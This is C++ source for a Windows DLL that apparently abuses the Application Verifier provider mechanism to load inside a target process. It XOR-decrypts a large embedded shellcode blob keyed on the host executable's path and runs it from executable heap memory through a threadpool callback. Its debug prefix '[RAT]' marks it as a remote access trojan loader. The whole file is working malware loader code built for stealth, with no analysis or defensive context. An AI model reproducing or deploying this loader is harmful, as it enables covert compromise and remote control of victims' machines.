1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
|
#include "pch.h"
#include <windows.h>
#include <winternl.h>
#include "shellcode.h"
#define _NO_CRT_STDIO_INLINE 1
#define NOMINMAX
#define _CRT_SECURE_NO_WARNINGS
#define WIN32_NO_STATUS
#define WIN32_LEAN_AND_MEAN
EXTERN_C_START
# define DebugPrint(str, ...) DbgPrintEx( 103u, 3u, "[RAT] " __FUNCTION__ ": " str, ## __VA_ARGS__)
using RTL_VERIFIER_DLL_LOAD_CALLBACK = VOID(NTAPI*) (PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved);
using RTL_VERIFIER_DLL_UNLOAD_CALLBACK = VOID(NTAPI*) (PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved);
using RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK = VOID(NTAPI*) (PVOID AllocationBase, SIZE_T AllocationSize);
typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR {
PCSTR ThunkName;
PVOID ThunkOldAddress;
PVOID ThunkNewAddress;
} RTL_VERIFIER_THUNK_DESCRIPTOR, * PRTL_VERIFIER_THUNK_DESCRIPTOR;
typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR {
PCWSTR DllName;
DWORD DllFlags;
PVOID DllAddress;
PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks;
} RTL_VERIFIER_DLL_DESCRIPTOR, * PRTL_VERIFIER_DLL_DESCRIPTOR;
typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR {
DWORD Length;
PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls;
RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback;
RTL_VERIFIER_DLL_UNLOAD_CALLBACK ProviderDllUnloadCallback;
PCWSTR VerifierImage;
DWORD VerifierFlags;
DWORD VerifierDebug;
PVOID RtlpGetStackTraceAddress;
PVOID RtlpDebugPageHeapCreate;
PVOID RtlpDebugPageHeapDestroy;
RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK ProviderNtdllHeapFreeCallback;
} RTL_VERIFIER_PROVIDER_DESCRIPTOR, * PRTL_VERIFIER_PROVIDER_DESCRIPTOR;
static VOID NTAPI DllLoadCallback(PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved);
static RTL_VERIFIER_DLL_DESCRIPTOR s_dll_descriptors[] = { {} };
static RTL_VERIFIER_PROVIDER_DESCRIPTOR s_provider_descriptor =
{
sizeof(RTL_VERIFIER_PROVIDER_DESCRIPTOR),
s_dll_descriptors,
&DllLoadCallback
};
#pragma comment(lib, "ntdll.lib")
#define NtCurrentProcess() (HANDLE(LONG_PTR(-1)))
NTSYSAPI
NTSTATUS
NTAPI
LdrDisableThreadCalloutsForDll(
_In_ PVOID DllImageBase
);
NTSYSAPI
ULONG
DbgPrintEx(
ULONG ComponentId,
ULONG Level,
PCSTR Format,
...
);
EXTERN_C_END
void Xor(char* key, unsigned char* dst, int dstlen) {
size_t keylen = strlen(key);
for (int i = 0; i < dstlen; i++) {
*(dst + i) ^= key[i % keylen];
}
}
VOID CALLBACK MyWaitCallback(
PTP_CALLBACK_INSTANCE Instance,
PVOID Parameter,
PTP_WAIT Wait,
TP_WAIT_RESULT WaitResult
)
{
UNREFERENCED_PARAMETER(Instance);
UNREFERENCED_PARAMETER(Parameter);
UNREFERENCED_PARAMETER(Wait);
UNREFERENCED_PARAMETER(WaitResult);
char exepath[128];
DWORD pathlen = 128;
QueryFullProcessImageNameA(GetCurrentProcess(), 0, exepath, &pathlen);
char text[9] = { 0x0a,0x54,0x36,0x32,0x0a,0x1a,0x01,0x0b,0x77 };
Xor(exepath, (unsigned char*)text, 9);
Xor(exepath, shellcode, 236614);
LPVOID heapp = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
LPVOID ptr = HeapAlloc(heapp, 0, 409600);
RtlMoveMemory(ptr, shellcode, sizeof(shellcode));
HANDLE hEvent;
hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
PTP_WAIT ptp_w = CreateThreadpoolWait((PTP_WAIT_CALLBACK)ptr, NULL, NULL);
SetThreadpoolWait(ptp_w, hEvent, 0);
SetEvent(hEvent);
WaitForThreadpoolWaitCallbacks(ptp_w, FALSE);
SetEvent(hEvent);
while (TRUE)
{
Sleep(10000);
}
}
VOID waitPool() {
char exepath[128];
DWORD pathlen = 128;
QueryFullProcessImageNameA(GetCurrentProcess(), 0, exepath, &pathlen);
char code[18] = { 0x16,0x54,0x2f,0x27,0x19,0x01,0x16,0x1b,0x57,0x25,0x39,0x21,0x0a,0x1a,0x1b,0x0b,0x4c,0x33 };
Xor(exepath, (unsigned char *)code, 18);
if (strcmp(code, "Unspport Version!")) return;
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
PTP_WAIT ptp_w = CreateThreadpoolWait((PTP_WAIT_CALLBACK)MyWaitCallback, NULL, NULL);
SetThreadpoolWait(ptp_w, hEvent, 0);
SetEvent(hEvent);
WaitForThreadpoolWaitCallbacks(ptp_w, FALSE);
SetEvent(hEvent);
}
BOOL WINAPI DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
PRTL_VERIFIER_PROVIDER_DESCRIPTOR* provider
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
LdrDisableThreadCalloutsForDll(hModule);
waitPool();
break;
case 4:
*provider = &s_provider_descriptor;
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
static VOID NTAPI DllLoadCallback(PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved)
{
UNREFERENCED_PARAMETER(DllSize);
UNREFERENCED_PARAMETER(Reserved);
}
|
